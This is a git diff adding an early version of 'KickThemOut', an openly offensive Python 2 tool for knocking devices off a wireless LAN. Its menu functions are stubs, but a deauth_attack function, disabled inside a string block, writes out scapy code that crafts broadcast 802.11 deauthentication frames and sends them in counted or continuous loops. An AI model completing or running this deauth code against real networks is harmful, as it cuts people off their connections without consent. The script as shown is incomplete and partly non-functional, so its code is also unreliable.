diff --git a/kickthemout.py b/kickthemout.py new file mode 100644 index 0000000..9cc2330 --- /dev/null +++ b/kickthemout.py @@ -0,0 +1,138 @@ +#!/usr/bin/env python +# -.- coding: utf-8 -.- +# kickthemout.py + +""" +Copyright (C) 2016 Nikolaos Kamarinakis (nikolaskam@gmail.com) +See License at nikolaskama.me (https://nikolaskama.me/onioffproject) +""" + +import time, os, sys, logging +from time import sleep + +BLUE, RED, WHITE, YELLOW, MAGENTA, GREEN, END = '\33[94m', '\033[91m', '\33[97m', '\33[93m', '\033[1;35m', '\033[1;32m', '\033[0m' + +def heading(): + print(GREEN + """ + █ █▀ ▄█ ▄█▄ █ █▀ ▄▄▄▄▀ ▄ █ ▄███▄ █▀▄▀█ ████▄ ▄ ▄▄▄▄▀ + █▄█ ██ █▀ ▀▄ █▄█ ▀▀▀ █ █ █ █▀ ▀ █ █ █ █ █ █ ▀▀▀ █ + █▀▄ ██ █ ▀ █▀▄ █ ██▀▀█ ██▄▄ █ ▄ █ █ █ █ █ █ + █ █ ▐█ █▄ ▄▀ █ █ █ █ █ █▄ ▄▀ █ █ ▀████ █ █ █ + █ ▐ ▀███▀ █ ▀ █ ▀███▀ █ █▄ ▄█ ▀ + ▀ ▀ ▀ ▀ ▀▀▀ + """ + END + BLUE + + '\n' + '{0}Kick Devices Off Your LAN ({1}KickThemOut{2}){3}'.format(YELLOW, RED, YELLOW, BLUE).center(88) + + '\n' + 'Made With <3 by: {0}Nikolaos Kamarinakis ({1}k4m4{2}){3}'.format(YELLOW, RED, YELLOW, BLUE).center(87) + + '\n' + 'Version: {0}0.1{1}'.format(YELLOW, END).center(77)) + +def optionBanner(): + print('\nChoose option from menu:\n') + print('\t{0}[{1}1{2}]{3} Kick ONE Off').format(YELLOW, RED, YELLOW, WHITE) + sleep(0.2) + print('\t{0}[{1}2{2}]{3} Kick SOME Off').format(YELLOW, RED, YELLOW, WHITE) + sleep(0.2) + print('\t{0}[{1}3{2}]{3} Kick ALL Off').format(YELLOW, RED, YELLOW, WHITE) + sleep(0.2) + print('\n\t{0}[{1}E{2}]{3} Exit KickThemOut\n').format(YELLOW, RED, YELLOW, WHITE) + +def kickoneoff(): + print('kickoneoff') + +def kicksomeoff(): + print('kicksomeoff') + +def kickalloff(): + print('kickalloff') + +""" +def deauth_attack(iface, bssid): + + client = 'FF:FF:FF:FF:FF:FF' + + conf.iface = iface + conf.verb = 0 + packet = RadioTap()/Dot11(type=0,subtype=12,addr1=client, + addr2=bssid,addr3=bssid)/Dot11Deauth(reason=7) + + print('\nChoose option from menu:\n') + print('\t{0}[{1}1{2}]{3} Kick Once').format(YELLOW, RED, YELLOW, WHITE) + sleep(0.2) + print('\t{0}[{1}2{2}]{3} Keep Kicking').format(YELLOW, RED, YELLOW, WHITE) + sleep(0.2) + + choice = None + while choice == None: + header = ('\n{0}kickthemout{1}> '.format(BLUE, WHITE)) + choice = raw_input(header) + if choice == '1': + pcounter_header = ('{0}kickthemout{1}> numofpackets: '.format(BLUE, WHITE)) + pcounter = raw_input(pcounter_header) + print(pcounter) # {TESTING} + packets_sent = 0 + for i in range(int(pcounter)): + sendp(packet) + packets_sent += 1 + print 'Deauth sent via: ' + iface + ' to BSSID: ' + bssid + '.\nPackets sent: ' + str(packets_sent) + sleep(2) + elif choice == '2': + time_header = ('{0}kickthemout{1}> keepkickingfor(mins): '.format(BLUE, WHITE)) + attack_time = float(raw_input(time_header)) + start = time.time() + packets_sent = 0 + while (time.time() - start) != attack_time: + sendp(packet) + packets_sent += 1 + print 'Deauth sent via: ' + iface + ' to BSSID: ' + bssid + '.\nPackets sent: ' + str(packets_sent) + sleep(2) + else: + choice = None + print('*INVALID OPTION*') # {TESTING} +""" + +def main(): + + heading() + + try: + # CHECK FOR WIRELESS CARD + iface_header = ('\n{0}kickthemout{1}> interface: '.format(BLUE, WHITE)) + iface = raw_input(iface_header) + + # SCAN (AIRODUMP-NG) & PARSE (BSSIDs) + # ... + + bssid_header = ('{0}kickthemout{1}> bssid: '.format(BLUE, WHITE)) + bssid = raw_input(bssid_header) # {TESTING} + + while True: + + optionBanner() + + header = ('{0}kickthemout{1}> '.format(BLUE, WHITE)) + choice = raw_input(header) + + if choice.upper() == 'E' or choice.upper() == 'EXIT': + print('Thanks for dropping by!') + print('Catch ya later!') + raise SystemExit + elif choice == '1': + kickoneoff() + # EXECUTE kickoneoff FUNCTION (SCAN & PARSE) + elif choice == '2': + kicksomeoff() + # EXECUTE kicksomeoff FUNCTION + elif choice == '3': + kickalloff() + # EXECUTE kickalloff FUNCTION (FF:FF:FF:FF:FF:FF) + elif choice.upper() == 'CLEAR': + os.system("clear||cls") + #else: + #print('*INVALID OPTION*') + + except KeyboardInterrupt: + print('\nThanks for dropping by.' + '\nCatch ya later!') + + +if __name__ == '__main__': + main()